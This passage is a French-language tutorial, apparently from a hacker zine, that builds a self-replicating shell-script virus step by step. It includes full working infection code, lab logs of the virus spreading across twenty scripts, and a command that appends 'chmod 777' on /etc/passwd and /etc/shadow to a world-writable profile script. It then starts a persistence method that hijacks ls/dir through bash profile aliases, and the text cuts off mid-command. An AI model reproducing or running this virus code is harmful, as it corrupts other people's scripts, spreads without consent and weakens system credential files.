echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
echo "je suis une chaine viral" #MvM
grep "MvM" $0
grep "MvM" $0 > viruss
[root@ThreaT@workgroup /root/script]#

et que celui si contient bien les chaines extraites du script porteur
ce qui veut dire que par la suite, nous pourrons rediriger ces quelques lignes à la
suite d'un script pointé par notre virus.

étudions sa tout de suite


011/pointer le script à infecter
#####################
si vous avez compris la première partie, sa va être très facile.

pour obtenir une chaine contenant tout les scripts à infecter, nous allons utiliser les
variables d'environnements à l'interieur de notre boucle de recherche, c'est a dire qu'au lieu
de retourner le nom du script trouvé dans l'exemple "001" (bsearch.sh) à l'ecran, nous allons
placer ce nom dans une variable d'environnement que nous aurons formatés afin que celle si
puisse être utilisée par une autre boucle de type for

ce qui nous donne:

---------cut----------------
#!/bin/sh
#bsearch2.sh by ThreaT
for fichier in *
do
file $fichier > /tmp/t
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant
de la facon 'fichier fichier fichier..."
fi
done
rm -f /tmp/t
echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient"
echo " -------------------"
echo "$var"
#fin du script
----------cut--------------------

voyons ce que sa donne:

[root@ThreaT@workgroup /root/script]# chmod +x bsearsh2.sh
[root@ThreaT@workgroup /root/script]# ls
bsearch.sh* bsearch2.sh* core ed* igawk* install.log
ping* remadmin* virsign.sh* virsign.sh~* viruss
[root@ThreaT@workgroup /root/script]# ./bsearch2.sh
nous allons maintenant jetter un oeil a $var pour voir ce qu'il contient
-------------------
bsearch2.sh bsearch2.sh~ bsearch.sh igawk remadmin virsign.sh virsign.sh~


comme on peut le voir dans cet exemple, la chaine d'environnement contient le nom de tout les
shell scripts du repertoire courant, ce qui veut dire que nous allons maintenant pouvoir
assignés cette variable à une boucle for.
et comme nous avons formatés la chaine avec des espaces "fichier fichier fichier..." et que for
utilise en argument des chaines éspacées, nous allons pouvoir effectuer des manipulations
independentes sur chaque script contenu dans cette variable.

c'est pas la classe sa!

100/reconnaitre un script porteur d'un script saint
###################################

maintenant qu'on sait pointer un script, et le soummettre à de multiple test, il serait
interresant de savoir si celui ci n'est pas deja infecté, car si cette vérification n'est pas
assurée, c'est toute l'integritée du système qui risque d' être compromise pour cause de
sur-infection!
car le virus infecterait toujours les mêmes scripts, et ferait evolué la taille des fichiers en
consequence.

heureusement pour nous, l'opération va être super facile!
on va utiliser notre amis GREP en lui donnant pour argument une chaine UNIQUE composée de
caractères alterées, comme sa, nous serons sur de l'état du fichier ciblé.

un petit exemple:

nous allons apporter une petite modification au script du dessus

----------cut-------------------
#!/bin/sh
#detect.sh by ThreaT
for fichier in *
do
file $fichier > /tmp/t
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier"
fi
done
rm -f /tmp/t
for inspect in $var
do
if grep "iNFeCtiON" $inspect > /dev/null; then
echo "$inspect est infecter"
fi
done
#fin du script
----------cut-------------------

ok, maintenant, nous allons prendre dans notre repertoire courant un ou deux bourne shell, et
on vas leur foutre la chaine "iNFeCtiON" au cul

[root@ThreaT@workgroup /root/script]# ./bsearch.sh
bsearch2.sh est un Bourne shell script
bsearch2.sh~ est un Bourne shell script
bsearch.sh est un Bourne shell script
detect.sh est un Bourne shell script
igawk est un Bourne shell script
remadmin est un Bourne shell script
virsign.sh est un Bourne shell script
virsign.sh~ est un Bourne shell script
[root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> bsearch2.sh~
[root@ThreaT@workgroup /root/script]# echo "iNFeCtiON" >> virsign.sh~
[root@ThreaT@workgroup /root/script]# chmod +x detect.sh
[root@ThreaT@workgroup /root/script]# ./detect.sh
bsearch2.sh~ est infecter
detect.sh est infecter
virsign.sh~ est infecter
[root@ThreaT@workgroup /root/script]#

comme vous pouvez le constater, la fonction a parfaitement réussie à reconnaitre les fichiers
de type bourne shell script qui possedaient le motif d'infection!!
une petite remarque à ce sujet : j'ai pas ecris "iNFeCtiON" en mixed case pour me la pété, mais
pour être bien sur que grep reconnaitra ce motif comme une chaine unique. (je dis sa car y'a un
gros lame qui commence à me faire des reflexions derriere mon épaule)
"tu frais mieux d'aller bosser sur ton bof plutot que de m'emmerder pendent que j'ecrit"

voila, on c'est debarrassez du lama!

continuons sur notre lancer...


101/ecrire le code virale dans le code cible
##############################

newbie: "je vois pas pourquoi tu va encore nous faire chier!!"
"on sait tous comment ecrire dans le code cible tu l'a dit tout a l'heure"
"il suffit juste de faire un redirection des chaines trouvées par grep"

ThreaT: "Si seulement sa pouvait être aussi simple..."

aller va, me dites pas que vous ne l'avez pas pensés, vous vous dites qu'un indicateur de
direction de type >> suffiras à satisfaire cette exigence, et vous vous demandez pourquoi je
vais faire une parti pour sa!

en faite ce n'est pas si simple

imaginons que vous tombiez sur un shell appartenant à un étudiant en informatique.

[user@Etudiant@linux user]$ ls -l /etc/profile.d/*.sh
-rwxr-xr-x 1 root root 672 Mar 13 14:11 /etc/profile.d/alias.sh*
-rwxr-xr-x 1 root root 191 Mar 13 14:44 /etc/profile.d/color_ls.sh*
-rwxr-xr-x 1 root root 133 Jan 12 06:36 /etc/profile.d/inputrc.sh*
-rwxr-xr-x 1 root root 192 Jan 7 15:00 /etc/profile.d/kde.sh*
-rwxr-xr-x 1 root root 1682 Mar 13 14:18 /etc/profile.d/lang.sh*
-rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh*
-rwxr-xr-x 1 root root 167 Jan 4 22:50 /etc/profile.d/mc.sh*
-rwxr-xr-x 1 root root 267 Dec 22 18:24 /etc/profile.d/numlock.sh*
-rw-r--r-- 1 root root 0 Feb 23 21:18 /etc/profile.d/proxy.sh
-rwxr-xr-x 1 root root 103 Dec 21 14:44 /etc/profile.d/screen.sh*
-rwxr-xr-x 1 root root 152 Mar 13 14:15 /etc/profile.d/xhost.sh*


ho putain le con, il a fait un script à la maverick en write acces pour les users
-rwxr-xrwx 1 root root 38 Jun 14 18:48 /etc/profile.d/master.sh*

tout content, vous voulez faire comme dans l'article que vous avez lu dans votre jeunesse!
[user@Etudiant@linux user]$ chmod 777 /etc/passwd && chmod 777 /etc/shadow >>
/etc/profile.d/master.sh [user@Etudiant@linux user]$

le lendemain...

[user@Etudiant@linux user]$ ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 796 Mar 13 13:58 /etc/passwd
-rw------- 1 root root 712 Mar 13 13:58 /etc/shadow
[user@Etudiant@linux user]$ heeuu merde!!
bash : heeuu: command not found
[user@etudiant@linux user]$

mais pourquoi sa n'a pas marché??

[user@Etudiant@linux user]$ cat /etc/profile.d/master.sh
#!/bin/sh
echo "bonjour maître"
exit 0
chmod 777 /etc/passwd && chmod 777 /etc/shadow
[user@Etudiant@linux user]$

et oui, il fallait s'y attendre!
normalemment, tout bon codeur qui a appris pour avoir une bonne note à l'école sait qu'il faut
toujours terminer son script par un signal positif ou negatif (selon erreur ou pas) donc par
exit 0 ou exit 1.
ce qui fait que notre commande qui a été ajoutée par le redirecteur de chaine >> "append" est
baisé, car le processus rencontre la commande de terminaison du script avant notre fucked
commande

dans le cas on l'on agit manuellement, la solution serais de mettre notre commande au debut du
script! ok
mais dans le cas ou l'on fait un script qui va s'auto-repliquer, si celui si infecte un script
ce terminant par exit, et ben on est baisé jusqu'a l'os!

But What is ZE solution?

la solution à apportée va ce faire en 3 temps

1-extraire le code cible dans un fichier temporaire
2-ecrire notre code viral en ecrasant le code cible
3-ajouter le code cible contenu dans le fichier temporaire à la fin de notre code viral

=================================demonstration===========================

*************************environnement***************************

----------cible.sh-------------------
#!/bin/sh
echo "je suis un fichier innocent"
-----------------------------------

---------virus.sh--------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
------------------------------------

-----------temp--------------------

----------------------------------

********************************************************************
*******************************************************************
les commandes :

####################################################
1/extraire le code cible dans un fichier temporaire
####################################################

commande: {
cat cible.sh > temp
}

incidence : {
-----------cible.sh---------------
#!/bin/sh
echo "je suis un script innocent"
--------------------------------

----------temp-------------------
#!/bin/sh
echo "je suis un script innocent"
--------------------------------
}

####################################################
2-ecrire notre code viral en ecrasant le code cible
####################################################

commandes: {
echo "#!/bin/sh" > cible.sh
grep "signature" $0 >> cible.sh
}

incidence: {
---------virus.sh--------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
------------------------------------

----------cible.sh-------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
-----------------------------------
}

######################################################################################
3-ajouter le code cible contenu dans le fichier temporaire à la fin de note code viral
######################################################################################

commande: {
cat temp >> cible.sh
}

incidence: {
----------temp-------------------
#!/bin/sh
echo "je suis un script innocent"
--------------------------------

----------cible.sh-------------------
#!/bin/sh
echo "je suis un code malveillant!" #signature
#!/bin/sh
echo "je suis un script innocent"
-----------------------------------
}

voila, on peut pas faire plus simple.
en faite je viens de vous montrez une facon, mais en reflechissant bien, il serais mieux de
constituer d'abord le virus integré à son code porteur dans le fichier temporaire, et ecraser
la cible par le tout! cela serais un peu plus sécure... enfin bon, on s'en fou!

bon, maintenant qu'on a trouvés comment satisfaire les exigences pour pouvoir mettre sur pied
un virus SSI basic nous allons coller tout les morceaux pour voir ce que sa donne en realitée.


\\0x04// MISE EN PLACE DU CODE
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

nous allons mettre tout les elements indiqués si dessus bout à bout, pour donner naissance à un
jeune virus sans experiance.
allez maman, poussez fort!!

les étapes :
1/recenser les victimes potentielles
2/regarder si la victime potentielle est deja porteuse du virus
3/infecter la victime si celle si est encore saine (j'allait dire vierge, mais on va me prendre
pour un pervert)

voyons de quoi nous disposons

####################################
1/recenser les victimes potentielles
####################################

code a disposition:
********************

#!/bin/sh
#bsearch2.sh by ThreaT
for fichier in *
do
file $fichier > /tmp/t
if grep "shell" /tmp/t > /dev/null; then
var="$var $fichier" #on assigne le nom trouver a une variable d'environnement en formattant de
la facon 'fichier fichier fichier..."
fi
done
rm -f /tmp/t
echo "nous allons maintenant jetter un oeil a \$var pour voir ce qu'il contient"
echo " -------------------"
echo "$var"
#fin du script


###############################################################
2/regarder si la victime potentielle est deja porteuse du virus
###############################################################

code a disposition:
*******************
for inspect in $var
do
if grep "iNFeCtiON" $inspect > /dev/null; then
echo "$inspect est infecter"
fi
done

###############################################################
3/infecter la victime si celle si est encore vierge
(en fin de compte, je me suis dit que j'etais un gros pervert)
###############################################################

code a disposition:
*******************

cat cible.sh > temp
echo "#!/bin/sh" > cible.sh
grep 'signature" $0 >> cible.sh
cat temp >> cible.sh
rm -f temp

que l'on vas remplacer par:

echo "#!/bin/sh" > temp
grep "signature" $0 >> temp
cat cible.sh >> temp
cat temp > cible.sh

cette version est un peut plus sécure, car si un blème vient à survenir lors de l'appelle
de l'une des 3 premières commandes, la cible n'est pas detruite.

==================================================================================
on va maintenant fusionner tout sa !! en optimisant un peu le nom des variables
(c'est que sa prend vite de la place)
================================================================================

---------virus.sh------------
#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo " a titre experimantal" #MvM
for f in * #MvM
do #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
done #MvM
rm -f /tmp/t #MvM
#fin du virus
--------------------------------

et voila, notre tout premier virus ultra basic qui ne pense qu'à niquer!
le virus primaire, trivial, le gros truc qui ne survivra pas une seconde sur un serveur...

avouez que vous avez hate de voir comment sa reagit, hein?


\\0x05//OBSERVATION EN LABORATOIRE
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

pour notre premier essai, nous allons constituer un repertoire dédié à la prolifération de
notre bestiol.
comme celui si n'a pas de fonction d'exportabilitée hors du repertoire courant, ce seras
facilement controlable.

-------------debut de l'observation------------------
-----------------------------------------------
-------avec commentaires pour les novices du shell-------
-----------------------------------------------


/*tout d'abbord, on vas specifier le bit d'execution à notre virus */
[root@ThreaT@workgroup /root/script/virii]# chmod +x virus.sh

/*ici on crée un script pourris, qui feras office de victime */
[root@ThreaT@workgroup /root/script/virii]# vi innocent
<i>
#!/bin/sh
echo "je suis innocent!"
<esc><:wq!>

/* le script crée, on lui assigne le bit d'execution */
[root@ThreaT@workgroup /root/script/virii]# chmod +x innocent

/* et on le lance, pour voir si il marche bien */
[root@ThreaT@workgroup /root/script/virii]# ./innocent
je suis innocent!

/*ok, maintenant, observons notre repertoire */
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 8
-rwxr-xr-x 1 root root 34 Mar 14 00:15 innocent*
-rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh*

/* je tiens à attirer votre attention sur le faite que "innocent" fait 34 octets */

/*executons notre virus*/
[root@ThreaT@workgroup /root/script/virii]# ./virus.sh
virus.sh version 0.0 by ThreaT
a titre experimantal
/*sa, c'est le petit message pour ce la pété! mais à par sa, y'a pas de messages d'erreurs*/

/*rejettons un oeil sur notre repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 8
-rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent*
-rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh*
/* tiens, "innocent fait 488 octet? mais comment sa ce fait? */

/* on réexecute "innocent" */
[root@ThreaT@workgroup /root/script/virii]# ./innocent
virus.sh version 0.0 by ThreaT
a titre experimantal
je suis innocent
/* plus si innocent que sa à ce que je vois */

/* regardons le corp du script pour voir */
[root@ThreaT@workgroup /root/script/virii]# cat innocent
#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo " a titre experimantal" #MvM
for f in * #MvM
do #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
echo "#!/bin/sh" > /tmp/t #MvM
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
done #MvM
rm -f /tmp/t #MvM
#!/bin/sh
echo "je suis innocent"
/* bingo! la cible est parfaitement infectée */

----------------------------------------------------
bon, maintenant, on va regarder si notre script "innocent" est capable
d'infecter un autre script idiot
----------------------------------------------------

/*creation du script idiot */
[root@ThreaT@workgroup /root/script/virii]# vi idiot
<i>
#!/bin/sh
echo "je suis un script idiot"
<esc><:wq!>

/*assignation du bit d'execution */
[root@ThreaT@workgroup /root/script/virii]# chmod +x idiot

/*observation du repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 12
-rwxr-xr-x 1 root root 42 Mar 14 00:40 idiot*
-rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent*
-rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh*

/*comme d'hab, vous avez bien observé le nombre d'octet de "idiot" */

/*execution du script "innocent"*/
[root@ThreaT@workgroup /root/script/virii]# ./innocent
virus.sh version 0.0 by ThreaT
a titre experimantal
je suis innocent

/*on rejette un oeil au repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
-rwxr-xr-x 1 root root 496 Mar 14 00:40 idiot*
-rwxr-xr-x 1 root root 488 Mar 14 00:18 innocent*
-rwxr-xr-x 1 root root 468 Mar 14 00:12 virus.sh*
/* et hop, innocent à infecté idiot */

ha la la, ces jeunes, ils ne pensent qu'à ce reproduires...

maintenant, nous allons tout effacer (sauf idiot)
puis nous allons crée un petite 20ene de scripts pour voir si idiot est capable de ce
reproduire dans les 20!

[root@ThreaT@workgroup /root/script/virii]# rm virus.sh
rm: remove 'virus.sh"? y
[root@ThreaT@workgroup /root/script/virii]#rm innocent
rm: remove 'innocent'? y

/*on crée le script test original*/
[root@ThreaT@workgroup /root/script/virii]# vi testt
<i>
#!/bin/sh
echo "je suis un programme test"
<esc><:wq!>

/*on crée un script pour en copier 20 (vous aviez pas cru que j'allait m'y pallucher à
la main?")*/
[root@ThreaT@workgroup /root/script/virii]# vi sccopy
<i>
#!/bin/sh
a=1
while [ "$a" -le 20 ]; do
cp testt testt$a
a=$(($a+1))
done
<esc><:wq!>

/*celui la, on le met en bit exec*/
[root@ThreaT@workgroup /root/script/virii]#chmod +x sccopy

/* on l'execute */
[root@ThreaT@workgroup /root/script/virii]# ./sccopy

/*on liste le repertoire*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 92
-rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot*
-rwxr-xr-x 1 root root 74 Mar 14 01:09 sccopy*
-rw-r--r-- 1 root root 43 Mar 14 00:50 testt
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt1
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt10
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt11
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt12
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt13
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt14
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt15
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt16
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt17
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt18
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt19
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt2
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt20
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt3
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt4
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt5
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt6
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt7
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt8
-rw-r--r-- 1 root root 43 Mar 14 01:08 testt9

/*on en test un au hazard*/
[root@ThreaT@workgroup /root/script/virii]# sh ./testt6
je suis un programme test

/*ok, maintenant que tout beigne, on va voir si idiot est capable de ce reproduire sur tout le
repertoire*/
/*et on va même observer combien de temp il met*/
[root@ThreaT@workgroup /root/script/virii]# time ./idiot
virus.sh version 0.0 by ThreaT
a titre experimantal
je suis un script idiot
0.61user 0.18system 0:00.79elapsed 99%CPU(0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (15119major+8931minor)pagefaults 0swaps

/* comme vous pouvez le voir, l'operation a durer 79 dixieme et a utiliser 99% du CPU, ce que
je trouve */
/* quand meme pas mal pour un code interprété */

/* bon, on liste*/
[root@ThreaT@workgroup /root/script/virii]# ls -l
total 92
-rwxr-xr-x 1 root root 496 Mar 14 00:41 idiot*
-rwxr-xr-x 1 root root 528 Mar 14 01:15 sccopy*
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt1
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt10
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt11
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt12
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt13
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt14
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt15
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt16
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt17
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt18
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt19
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt2
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt20
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt3
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt4
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt5
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt6
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt7
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt8
-rw-r--r-- 1 root root 497 Mar 14 01:15 testt9
[root@ThreaT@workgroup /root/script/virii]#
/* ok, sa nique fort!! */


comme nous avons put l'observer, le virus marche à merveille, seulement il est vraiment trop
basic, pourquoi :
- celui ci ne ce reproduit que dans le repertoire courant
- il ne contient aucune chaine de test d'ecriture
- de plus, il contient beaucoup de bug en environnement user

on va regarder sa tout de suite:


\\0x06//DEBUGGING & AJOUT DE FONCTION
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

deboguer un script de shell ne présente normalement guere de difficultées, bien qu'il n'existe
pas d'outils spécifiques dediés à cet effet.
lorsque une erreur ce produit, le shell imprime en general le numero de la ligne à l'origine de
l'erreur. si celle ci n'est pas évidente, il est possible d'ajouter quelques insctructions
"echo" supplementaires afin d'afficher le contenu des variables, ainsi que de tester
le code par portion en les saisissants simplement dans le shell de magniere interactive.

un script etant interpreté, il n'y a pas de perte de temp due a la compilation lorsque vous le
modifiés et le testés.

le meilleur moyen de detecter des erreurs plus subtils consiste à utiliser certaines options du
shell. cela peut être réalisé soit à l'aide des options de la ligne de commande, soit a l'aide
de la commande "set". voici un resumer des principales options

Option de la ligne de commande option set description
----------------------- -------------- -----------------------
sh -n <script> set -o noexec recherche uniquement les erreurs de
set -n syntaxe sans executer de commande


sh -v <script> set -o verbose affiche les commandes (echo) avant
set -v de les executer.

sh -x <script> set -o xtrace affiche les commandes apres les avoir
set -x executées sur la ligne de commande

voila, une petite note pour votre info.

////////////////////////////////////////////////////////////////////////////
evolution du code dans un environnement proteger
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\


/* on vas tout d'abbors ecrire un generateur de script innocent */
[user@ThreaT@workgroup test]$ vi sgen.sh
<i>

#!/bin/sh
#generateur de script innocent, by ThreaT
nbr=1
echo -n "nombre de script innocent a generer : "
read nbr
cat > innocent << EoF
#!/bin/sh
echo "je suis un script innocent"
EoF
chmod +x innocent
a=1
while [ "$a" -le $nbr ]; do
cp innocent innocent$a
a=$(($a+1))
done
<esc><:wq!>

/* remarque : j'ai mis un espace entre #!/bin/sh et le debut du script */
/* j'expliquerais pourquoi apres */

[user@ThreaT@workgroup test]$ chmod 777 sgen.sh
[user@ThreaT@workgroup test]$ ./sgen.sh
nombre de script innocent a generer : 10
[user@ThreaT@workgroup test]$ ls -l
total 48
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent1*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent10*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent2*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent3*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent4*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent5*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent6*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent7*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent8*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
[user@ThreaT@workgroup test]$ ./innocent3
je suis un script innocent
[user@ThreaT@workgroup test]$

/* ok maintenant, nous allons mettre certain de ces scripts non accessible en ecriture */

[user@ThreaT@workgroup test]$ chmod -w innocent innocent1 innocent5 innocent8 innocent9
[user@ThreaT@workgroup test]$ ls -l
total 48
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent1*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent10*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent2*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent3*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent4*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent5*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent6*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent7*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent8*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
l[user@ThreaT@workgroup test]$

/*maintenant que tout est en place, faite entrer le taureau */

[user@ThreaT@workgroup test]$ su
password :
[root@ThreaT@workgroup test]# cp /root/script/virii/idiot virus
[root@ThreaT@workgroup test]# su user
[user@ThreaT@workgroup test]$ ls -l
total 52
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent1*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent10*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent2*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent3*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent4*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent5*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent6*
-rwxr-xr-x 1 user user 44 Mar 14 13:25 innocent7*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent8*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
-rwxr-xr-x 1 root root 496 Mar 14 13:40 virus*
[user@ThreaT@workgroup test]$ ./virus
virus.sh version 0.0 by ThreaT
a titre experimantal
./virus: innocent: Permission non accordee
./virus: innocent1: Permission non accordee
./virus: innocent5: Permission non accordee
./virus: innocent8: Permission non accordee
./virus: innocent9: Permission non accordee
je suis un script idiot
[user@ThreaT@workgroup test]$ ls -l
total 52
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent1*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent10*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent2*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent3*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent4*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent5*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent6*
-rwxr-xr-x 1 user user 498 Mar 14 13:42 innocent7*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent8*
-r-xr-xr-x 1 user user 44 Mar 14 13:25 innocent9*
-rwxrwxrwx 1 user user 279 Mar 14 13:20 sgen.sh*
-rwxr-xr-x 1 root root 496 Mar 14 13:40 virus*
[user@ThreaT@workgroup test]$

comme vous pouviez vous y attendre, le virus n'a pas pu infecter les scripts interdits en
ecritures, ce qui est normal.
la chose qui me derrange, ce sont les messages d'erreurs generés par l'impossibilitée
d'infection.
sa, c'est parce que notre virus ne pense qu'a niquer, et celui si ne demande pas a ses
partenaires !!
ce qui fait que sa gueulle!

donc, il faut apprendre à notre virus à demander avant de niquer (écoutés bien, c'est valable
aussi dans la vie )


nous allons donc rajouter une fonction pour lui indiquer quelles sont les bonnes magnieres

#!/bin/sh
echo "virus.sh version 0.0 by ThreaT" #MvM
echo " a titre experimantal" #MvM
for f in * #MvM
do #MvM
file $f > /tmp/t #MvM
if grep "shell" /tmp/t > /dev/null; then #MvM
v="$v $f" #MvM
fi #MvM
done #MvM
for i in $v #MvM
do #MvM
if grep "ViRuS" $i > /dev/null; then #MvM
continue #MvM
fi #MvM
if [ -w $i ]; then #MvM <------- on regarde si la cible est accessible en ecriture
echo "#!/bin/sh" > /tmp/t #MvM <------si c'est bon on infecte
grep "MvM" $0 >> /tmp/t #MvM
cat $i >> /tmp/t #MvM
cat /tmp/t > $i #MvM
fi #MvM <----------------------------/ sinon, on baise pas :(
done #MvM
rm -f /tmp/t #MvM

on retente

[user@ThreaT@workgroup test]$ ./virus
virus.sh version 0.0 by ThreaT
a titre experimantal
je suis un script idiot
[user@ThreaT@workgroup test]$

et voila, notre virus n'a pas infecté plus de victime pour autant, mais au moin, celui si n'a
pas generé de messages d'erreurs

ok, maintenant que nous avons une souche un peu potable, il serait temp de penser à
l'exportabilitée hors du repertoire courant.

pour ce faire, nous allons utiliser la technique du DIR STEALTH

//////////////////////
BUT DE LA FONCTION
\\\\\\\\\\\\\\\\\\\\\\

le but de notre fonction, seras de lancer notre cher virus à chaque fois qu'un utilisateur
tenteras de lancer la commande DIR ou LS.

pour ce faire nous allons utiliser la commande ALIAS.
alias est une commande certe pratique pour notre fonction viral, mais celle si a quand même un
petit problème.
on ne peut pas l'exporter dans le shell après la fin de notre script, ce qui veut dire qu'il va
falloir que l'on modifie le profile bash de l'utilisateur ayant invoqué notre virus, afin que
celui si pointe nos nouvelles commandes sur une copie de notre code.

l'interressant de la chose, et que root a non seulement la possibiliter de modifier son profile
bash, mais il a aussi la possibiliter de modifier le profile type, invoquer par tout
utilisateur, ce qui veut dire que si notre virus est invoquer par un root, le virus passe
dir stealth pour tout les utilisateurs du systeme :) et même les nouveaux crées ::))

et bien sur, chaque utilisateur a la possibilité de modifier son propre profile bash, ce qui
va nous être fort utile pour commencer :)


petit exemple de modification du profile bash :

[user@ThreaT@workgroup test]$ echo "alias ls='echo "I have burn your fucking
